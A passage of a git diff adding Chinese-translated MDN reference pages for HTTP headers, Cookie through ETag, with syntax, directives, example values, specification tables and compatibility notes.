<dd>一系列的名称/值对,形式为 <code><cookie-name>=<cookie-value>。</code>名称/值对之间用分号和空格 ('; ')隔开。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1;</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("6265", "Cookie", "5.4")}}</td> + <td>HTTP State Management Mechanism</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Cookie")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Set-Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/cookie2/index.html b/files/zh-cn/web/http/headers/cookie2/index.html new file mode 100644 index 0000000000..dcc3719d08 --- /dev/null +++ b/files/zh-cn/web/http/headers/cookie2/index.html @@ -0,0 +1,57 @@ +--- +title: Cookie2 +slug: Web/HTTP/Headers/Cookie2 +tags: + - 废弃 + - 请求首部 + - 首部 +translation_of: Web/HTTP/Headers/Cookie2 +--- +<div>{{HTTPSidebar}} {{obsolete_header}}</div> + +<p>这个已经被废弃的 <strong><code>Cookie2</code></strong> 请求首部曾经被用来告知浏览器该用户代理支持“新型” cookies,但是现代的用户代理一般使用 {{HTTPHeader("Cookie")}} 来替代 Cookie2<strong>。</strong></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="示例">示例</h2> + +<pre>Cookie2: $Version="1"</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("2965", "Cookie2")}}</td> + <td>Historic specification of HTTP State Management Mechanism, obsoleted by {{RFC("6265")}}</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Cookie2")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/cross-origin-embedder-policy/index.html b/files/zh-cn/web/http/headers/cross-origin-embedder-policy/index.html new file mode 100644 index 0000000000..680f81b341 --- /dev/null +++ b/files/zh-cn/web/http/headers/cross-origin-embedder-policy/index.html @@ -0,0 +1,89 @@ +--- +title: Cross-Origin-Embedder-Policy +slug: Web/HTTP/Headers/Cross-Origin-Embedder-Policy +translation_of: Web/HTTP/Headers/Cross-Origin-Embedder-Policy +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>Cross-Origin-Embedder-Policy</code></strong> (COEP) 响应标头可防止文档加载未明确授予文档权限(通过 <a href="/en-US/docs/Web/HTTP/Cross-Origin_Resource_Policy_(CORP)">CORP</a>或者 <a href="/en-US/docs/Web/HTTP/CORS">CORS</a>)的任何跨域资源 。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">Cross-Origin-Embedder-Policy: unsafe-none | require-corp +</pre> + +<h3 id="指令">指令</h3> + +<dl> + <dt><code>unsafe-none</code></dt> + <dd>这是默认值. 允许文档获取跨源资源,而无需通过CORS协议或 {{HTTPHeader("Cross-Origin-Resource-Policy")}} 头。</dd> + <dt><code>require-corp</code></dt> + <dd>文档只能从相同的源加载资源,或显式标记为可从另一个源加载的资源。<br> + 如果跨源资源支持CORS,则 <code><a href="/en-US/docs/Web/HTML/Attributes/crossorigin">crossorigin</a></code> 属性或 {{HTTPHeader("Cross-Origin-Resource-Policy")}} 头必须使用它来加载资源,而不会被COEP阻止。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<h3 id="某些功能取决于跨域隔离">某些功能取决于跨域隔离</h3> + +<p>为了节省时间你可以只接受类似于{{jsxref("SharedArrayBuffer")}} 或者 {{domxref("Performance.now()")}} 对象, 只要你的文档有一个值被设置为<code>require-corp</code> 的 COEP 头部.</p> + +<pre class="notranslate">Cross-Origin-Embedder-Policy: require-corp +Cross-Origin-Opener-Policy: same-origin +</pre> + +<p>你可以看看这个头部 {{HTTPHeader("Cross-Origin-Opener-Policy")}} ,这样你设置起来会做的更好。</p> + +<p>检查 cross origin isolation 是否成功,你可以再次测试<code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/crossOriginIsolated">crossOriginIsolated</a></code> 这个属性 是否对窗口和工作的上下文有效:</p> + +<pre class="brush: js notranslate">if (crossOriginIsolated) { + // Post SharedArrayBuffer +} else { + // Do something else +}</pre> + +<h3 id="避免CORS阻塞COEP">避免CORS阻塞COEP</h3> + +<p>If you enable COEP using <code>require-corp</code> and have a cross origin resource that needs to be loaded, it needs to support <a href="/en-US/docs/Web/HTTP/CORS">CORS</a> and you need to explicitly mark the resource as loadable from another origin to avoid blockage from COEP. For example, you can use the <code><a href="/en-US/docs/Web/HTML/Attributes/crossorigin">crossorigin</a></code> attribute for this image from a third-party site:</p> + +<pre class="brush: html notranslate"><img src="https://thirdparty.com/img.png" crossorigin></pre> + +<h2 id="规范说明">规范说明</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#coep', 'Cross-Origin-Embedder-Policy header')}}</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("http.headers.Cross-Origin-Embedder-Policy")}}</p> + +<h2 id="参阅">参阅</h2> + +<ul> + <li>{{httpheader("Cross-Origin-Opener-Policy")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/cross-origin-resource-policy/index.html b/files/zh-cn/web/http/headers/cross-origin-resource-policy/index.html new file mode 100644 index 0000000000..6cc94e842b --- /dev/null +++ b/files/zh-cn/web/http/headers/cross-origin-resource-policy/index.html @@ -0,0 +1,72 @@ +--- +title: Cross-Origin-Resource-Policy +slug: Web/HTTP/Headers/Cross-Origin-Resource-Policy +tags: + - HTTP + - HTTP Header + - Reference + - Response Header + - header +translation_of: Web/HTTP/Headers/Cross-Origin-Resource-Policy +--- +<div>{{HTTPSidebar}}</div> + +<div class="note"> +<p><strong>注意:</strong> 由于<a href="https://bugs.chromium.org/p/chromium/issues/detail?id=952834">Chrome 浏览器中的一个Bug</a>, 设置 Cross-Origin-Resource-Policy(跨域资源策略)会使文件下载失败:当从设置了CORP请求头的资源服务器下载资源时,浏览器会阻止用户使用“保存”或“另存为”按钮将文件保存到本地。在决定生产环境中是否使用这一特性(CORP)之前需要慎重考虑。</p> +</div> + +<p><strong><code>Cross-Origin-Resource-Policy</code></strong> 响应头会指示浏览器阻止对指定资源的无源跨域/跨站点请求。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Cross-Origin-Resource-Policy: same-site | same-origin +</pre> + +<h2 id="案例">案例</h2> + +<p>下面的响应头会导致兼容该响应头的用户代理禁止跨域访问和跨域资源共享:</p> + +<pre>Cross-Origin-Resource-Policy: same-origin +</pre> + +<h2 id="详述">详述</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("Fetch", '#cross-origin-resource-policy-header')}}</td> + <td>{{Spec2("Fetch", '#cross-origin-resource-policy-header')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden">本页面中的兼容性表格由固定格式的数据生成。如果您有意愿参与数据贡献请点击 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并发起合并请求。</div> + +<p>{{Compat("http.headers.corb")}}</p> + +<h2 id="相关文章">相关文章</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Cross-Origin_Resource_Policy_(CORP)">Cross-Origin Resource Policy (CORP) explainer</a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/date/index.html b/files/zh-cn/web/http/headers/date/index.html new file mode 100644 index 0000000000..7160a889e7 --- /dev/null +++ b/files/zh-cn/web/http/headers/date/index.html @@ -0,0 +1,86 @@ +--- +title: Date +slug: Web/HTTP/Headers/Date +tags: + - 日期 + - 格林尼治标准时间 + - 通用首部 + - 首部 +translation_of: Web/HTTP/Headers/Date +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Date </code></strong>是一个通用首部,其中包含了报文创建的日期和时间。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><day-name></dt> + <dd>"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", 或 "Sun" 之一 (区分大小写)。</dd> + <dt><day></dt> + <dd>2位数字表示天数,例如, "04" 或 "23"。</dd> + <dt><month></dt> + <dd>"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 之一(区分大小写)。</dd> + <dt><year></dt> + <dd>4位数字表示年份,例如, "1990" 或 "2016"。</dd> + <dt><hour></dt> + <dd>2位数字表示小时数,例如, "09" 或 "23"。</dd> + <dt><minute></dt> + <dd>2位数字表示分钟数,例如, "04" 或 "59"。</dd> + <dt><second></dt> + <dd>2位数字表示秒数,例如, "04" 或 "59"。</dd> + <dt>GMT</dt> + <dd> + <p>格林尼治标准时间。 在HTTP协议中,时间都是用格林尼治标准时间来表示的,而不是本地时间。</p> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Date: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Date", "7.1.1.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Date")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Age")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/device-memory/index.html b/files/zh-cn/web/http/headers/device-memory/index.html new file mode 100644 index 0000000000..dbc49f5b0a --- /dev/null +++ b/files/zh-cn/web/http/headers/device-memory/index.html @@ -0,0 +1,78 @@ +--- +title: Device-Memory +slug: Web/HTTP/Headers/Device-Memory +translation_of: Web/HTTP/Headers/Device-Memory +--- +<div>{{HTTPSidebar}}{{securecontext_header}}{{SeeCompatTable}}</div> + +<p><code><strong>Device-Memory</strong></code> 是一个跟 <a href="/en-US/docs/Web/API/Device_Memory_API">Device Memory API</a> 相关的请求头,它跟 <a href="/en-US/docs/Glossary/Client_hints">Client Hints</a> 请求头的作用相似,用来表示客户端设备内存的近似大小。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>?</td> + </tr> + </tbody> +</table> + +<div class="blockIndicator note"> +<p><strong>Note:</strong> Client Hints are accessible only on secure origins (via TLS). Server has to opt in to receive <code>Device-Memory</code> header from the client by sending {{HTTPHeader("Accept-CH")}} and {{HTTPHeader("Accept-CH-Lifetime")}} response headers.</p> +</div> + +<h2 id="语法">语法</h2> + +<p>设备的内存大小可能会被用作指纹变量,因此将这个取值设置的比较粗糙,以减少滥用它的可能性。 请求头采用以下值:0.25、0.5、1、2、4、8。</p> + +<pre class="syntaxbox">Device-Memory: <number> +</pre> + +<h2 id="示例">示例</h2> + +<p>服务器需要先发送包含 <code>Device-Memory</code> 的 {{HTTPHeader("Accept-CH")}} 和 {{HTTPHeader("Accept-CH-Lifetime")}} 响应头,来表明可以接收 <code>Device-Memory</code> 请求头.</p> + +<pre>Accept-CH: Device-Memory +Accept-CH-Lifetime: 86400 +</pre> + +<p>接下来客户端发送的请求则可能会包含 <code>Device-Memory</code> 请求头:</p> + +<pre>Device-Memory: 1 +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{SpecName("Device Memory","#sec-device-memory-client-hint-header","Device-Memory")}}</td> + <td>{{Spec2('Device Memory')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Device-Memory")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Device_Memory_API">Device Memory API</a></li> + <li>{{HTTPHeader("Accept-CH")}}</li> + <li>{{HTTPHeader("Accept-CH-Lifetime")}}</li> + <li>{{HTTPHeader("Vary")}}</li> + <li>{{DOMxRef("Navigator.deviceMemory")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/digest/index.html b/files/zh-cn/web/http/headers/digest/index.html new file mode 100644 index 0000000000..0511674d21 --- /dev/null +++ b/files/zh-cn/web/http/headers/digest/index.html @@ -0,0 +1,90 @@ +--- +title: Digest +slug: Web/HTTP/Headers/Digest +tags: + - HTTP + - HTTP Header +translation_of: Web/HTTP/Headers/Digest +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Digest</strong></code> 响应 HTTP 头提供了请求资源一个 {{Glossary("摘要")}} 。</p> + +<p>在 <a href="https://tools.ietf.org/html/rfc7231">RFC 7231</a> 术语中,它是一个资源的选定表示。这个选定代表依赖于 <code><a href="/en-US/docs/Web/HTTP/Headers/Content-Type">Content-Type</a></code> 和 <code><a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">Content-Encoding</a></code> 头部值:所以一个单一的资源可能有多个不同的摘要值。</p> + +<p>摘要是整个表示的计算。这个表示可以是:</p> + +<ul> + <li>完全包含在响应消息体中</li> + <li>完全不包含在消息体中中 (例如,在一个 <code><a href="/en-US/docs/Web/HTTP/Methods/HEAD">HEAD</a></code> 请求的响应中)</li> + <li>部分包含在消息体中 (例如,在一个 <a href="/en-US/docs/Web/HTTP/Range_requests">range request</a> 的响应中)。</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Digest: <digest-algorithm>=<digest-value> + +Digest: <digest-algorithm>=<digest-value>,<digest-algorithm>=<digest-value> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code><digest-algorithm></code></dt> + <dd>已支持的摘要算法在 <a href="https://tools.ietf.org/html/rfc3230">RFC 3230</a> 和 <a href="https://tools.ietf.org/html/rfc5843">RFC 5843</a>,中定义,包括 <code>SHA-256</code> 和 <code>SHA-512</code>。一些支持的算法(如 <code>unixsum</code> 和 <code>MD5</code>) 容易发生冲突,因此不适合冲突阻力很重要的应用。</dd> + <dt><code><digest-value></code></dt> + <dd>对资源表示的摘要算法的结果和编码的结果。摘要算法的选择决定了编码类型:例如 <code>SHA-256</code> 用 base64 编码。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre class="syntaxbox">Digest: sha-256=X48E9qOokqqrvdts8nOJRJN3OWDUoyWxBf7kbu9DBPE= +Digest: sha-256=X48E9qOokqqrvdts8nOJRJN3OWDUoyWxBf7kbu9DBPE=,unixsum=30637</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + </thead> + <tbody> + <tr> + <td> + <p><a class="smpl" href="https://datatracker.ietf.org/doc/draft-ietf-httpbis-digest-headers">draft-ietf-httpbis-digest-headers-latest</a></p> + </td> + <td>Resource Digests for HTTP</td> + </tr> + </tbody> +</table> + +<p>该头最初在 <a href="https://tools.ietf.org/html/rfc3230">RFC 3230</a> 中定义,但在 <a href="https://www.rfc-editor.org/info/rfc7231">RFC 7231</a> 里的 "选中的表示" 定义使原始定与当前 HTTP 规范中不一致。发布时,"HTTP 资源摘要" 草案将废弃 RFC 3230 并将更新标准以保持一致。</p> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">该页面的兼容表是由结构化数据生成。如果你想要贡献数据,请访问 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并发送一个 pull 请求。</p> + +<p>{{Compat("http.headers.Digest")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("Want-Digest")}}</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests">HTTP range requests</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/206" title="The HTTP 206 Partial Content success status response code indicates that the request has succeeded and has the body contains the requested ranges of data, as described in the Range header of the request."><code>206 Partial Content</code></a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/dnt/index.html b/files/zh-cn/web/http/headers/dnt/index.html new file mode 100644 index 0000000000..7c639c766f --- /dev/null +++ b/files/zh-cn/web/http/headers/dnt/index.html @@ -0,0 +1,88 @@ +--- +title: DNT +slug: Web/HTTP/Headers/DNT +tags: + - 不追踪 + - 定制化内容 + - 请求首部 + - 隐私 +translation_of: Web/HTTP/Headers/DNT +--- +<div>{{HTTPSidebar}}</div> + +<p>请求首部 <strong><code>DNT</code></strong> (<strong>D</strong>o <strong>N</strong>ot <strong>T</strong>rack) 表明了用户对于网站追踪的偏好。它允许用户指定自己是否更注重个人隐私还是定制化内容。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">DNT: 0 +DNT: 1 +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt>0</dt> + <dd>表示用户愿意目标站点追踪用户个人信息。</dd> + <dt>1</dt> + <dd>表示用户不愿意目标站点追踪用户个人信息。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<h3 id="使用_JavaScript_读取_“不追踪”_(Do_Not_Track)状态">使用 JavaScript 读取 “不追踪” (Do Not Track)状态</h3> + +<p>用户对 DNT 的设置还可以使用 {{domxref("Navigator.doNotTrack")}} 属性进行读取:</p> + +<pre class="brush: js">navigator.doNotTrack; // "0" or "1"</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}}</td> + <td>{{Spec2("Tracking")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.DNT")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{domxref("Navigator.doNotTrack")}}</li> + <li>{{HTTPHeader("Tk")}} header</li> + <li><a href="https://en.wikipedia.org/wiki/Do_Not_Track">Do Not Track on Wikipedia</a></li> + <li><a href="https://www.eff.org/deeplinks/2011/02/what-does-track-do-not-track-mean">"Do Not Track"中的"Track"指什么? – EFF</a></li> + <li><a href="http://donottrack.us/">donottrack.us</a></li> + <li>DNT 浏览器设置帮助: + <ul> + <li><a href="https://www.mozilla.org/en-US/firefox/dnt/">Firefox</a></li> + <li><a href="https://support.google.com/chrome/answer/2790761">Chrome</a></li> + </ul> + </li> +</ul> diff --git a/files/zh-cn/web/http/headers/dpr/index.html b/files/zh-cn/web/http/headers/dpr/index.html new file mode 100644 index 0000000000..f725023128 --- /dev/null +++ b/files/zh-cn/web/http/headers/dpr/index.html @@ -0,0 +1,57 @@ +--- +title: DPR +slug: Web/HTTP/Headers/DPR +translation_of: Web/HTTP/Headers/DPR +--- +<div>{{HTTPSidebar}}{{securecontext_header}}{{SeeCompatTable}}</div> + +<p><code><strong>DPR</strong></code>请求头是<font><font>“ </font></font><font><font><a href="https://wiki.developer.mozilla.org/en-US/docs/Glossary/Client_hints">客户端提示”</a>消息头,它代表客户端设备的像素比</font></font>({{Glossary("DPR")}})<font><font>,该比例是与每个CSS像素相对应的物理设备像素的数量。</font></font></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>?</td> + </tr> + </tbody> +</table> + +<div class="blockIndicator note"> +<p><strong>Note:</strong> Client Hints are accessible only on secure origins (via TLS). Server has to opt in to receive <code>DPR</code> header from the client by sending {{HTTPHeader("Accept-CH")}} and {{HTTPHeader("Accept-CH-Lifetime")}} response headers.</p> +</div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">DPR: <number> +</pre> + +<h2 id="示例">示例</h2> + +<p>Server first needs to opt in to receive <code>DPR</code> header by sending the response headers {{HTTPHeader("Accept-CH")}} containing <code>DPR</code> and {{HTTPHeader("Accept-CH-Lifetime")}}.</p> + +<pre>Accept-CH: DPR +Accept-CH-Lifetime: 86400 +</pre> + +<p>Then on subsequent requests the client might send <code>DPR</code> header back:</p> + +<pre>DPR: 1.0 +</pre> + +<h2 id="浏览器兼容">浏览器兼容</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.DPR")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("Accept-CH")}}</li> + <li>{{HTTPHeader("Accept-CH-Lifetime")}}</li> + <li>{{HTTPHeader("Vary")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/early-data/index.html b/files/zh-cn/web/http/headers/early-data/index.html new file mode 100644 index 0000000000..f1c208279a --- /dev/null +++ b/files/zh-cn/web/http/headers/early-data/index.html @@ -0,0 +1,55 @@ +--- +title: Early-Data +slug: Web/HTTP/Headers/Early-Data +translation_of: Web/HTTP/Headers/Early-Data +--- +<div>{{SeeCompatTable}}{{HTTPSidebar}}</div> + +<p><code><strong>Early-Data</strong></code> 头(header)由某个中间者设置来表示请求已在TLS early data 中传送 ,且表示 某个中间者理解 {{HTTPStatus("425", "425 (Too Early)")}} 状态码。<code><strong>Early-Data</strong></code> 头(header)不由请求的发起者设置 (例如,浏览器)。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Early-Data: 1 +</pre> + +<h2 id="示例">示例</h2> + +<pre>GET /resource HTTP/1.0 +Host: example.com +Early-Data: 1</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("8470", "The Early-Data Header Field", "5.1")}}</td> + <td>Using Early Data in HTTP</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. 如您想贡献此数据,请check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 且发给我们一个pull请求。</p> + +<p>{{Compat("http.headers.Early-Data")}}</p> diff --git a/files/zh-cn/web/http/headers/etag/index.html b/files/zh-cn/web/http/headers/etag/index.html new file mode 100644 index 0000000000..fd25ad6578 --- /dev/null +++ b/files/zh-cn/web/http/headers/etag/index.html @@ -0,0 +1,103 @@ +--- +title: ETag +slug: Web/HTTP/Headers/ETag +tags: + - HTTP + - header +translation_of: Web/HTTP/Headers/ETag +--- +<div>{{HTTPSidebar}}</div> + +<div> </div> + +<p><code><strong>ETag</strong></code>HTTP响应头是资源的特定版本的标识符。这可以让缓存更高效,并节省带宽,因为如果内容没有改变,Web服务器不需要发送完整的响应。而如果内容发生了变化,使用ETag有助于防止资源的同时更新相互覆盖(“空中碰撞”)。</p> + +<p>如果给定URL中的资源更改,则一定要生成新的Etag值。 因此Etags类似于指纹,也可能被某些服务器用于跟踪。 比较etags能快速确定此资源是否变化,但也可能被跟踪服务器永久存留。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">ETag: W/"<etag_value>" +ETag: "<etag_value>" +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code>W/</code> {{optional_inline}}</dt> + <dd><code>'W/'</code>(大小写敏感) 表示使用<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Conditional_requests#Weak_validation">弱验证器</a>。 弱验证器很容易生成,但不利于比较。 强验证器是比较的理想选择,但很难有效地生成。 相同资源的两个弱<code>Etag</code>值可能语义等同,但不是每个字节都相同。</dd> + <dt>"<etag_value>"</dt> + <dd>实体标签唯一地表示所请求的资源。 它们是位于双引号之间的ASCII字符串(如“675af34563dc-tr34”)。 没有明确指定生成ETag值的方法。 通常,使用内容的散列,最后修改时间戳的哈希值,或简单地使用版本号。 例如,MDN使用wiki内容的十六进制数字的哈希值。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" +ETag: W/"0815"</pre> + +<h3 id="避免“空中碰撞”">避免“空中碰撞”</h3> + +<p>在<code>ETag</code>和 {{HTTPHeader("If-Match")}} 头部的帮助下,您可以检测到"空中碰撞"的编辑冲突。</p> + +<p>例如,当编辑MDN时,当前的wiki内容被散列,并在响应中放入<code>Etag</code>:</p> + +<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4</pre> + +<p>将更改保存到Wiki页面(发布数据)时,{{HTTPMethod("POST")}}请求将包含有ETag值的{{HTTPHeader("If-Match")}}头来检查是否为最新版本。</p> + +<pre>If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre> + +<p>如果哈希值不匹配,则意味着文档已经被编辑,抛出{{HTTPStatus("412")}}前提条件失败错误。</p> + +<h3 id="缓存未更改的资源">缓存未更改的资源</h3> + +<p><code>ETag</code>头的另一个典型用例是缓存未更改的资源。 如果用户再次访问给定的URL(设有<code>ETag</code>字段),显示资源过期了且不可用,客户端就发送值为<code>ETag</code>的{{HTTPHeader("If-None-Match")}} header字段:</p> + +<pre>If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre> + +<p>服务器将客户端的ETag(作为If-None-Match字段的值一起发送)与其当前版本的资源的ETag进行比较,如果两个值匹配(即资源未更改),服务器将返回不带任何内容的{{HTTPStatus("304")}}未修改状态,告诉客户端缓存版本可用(新鲜)。</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7232", "ETag", "2.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + 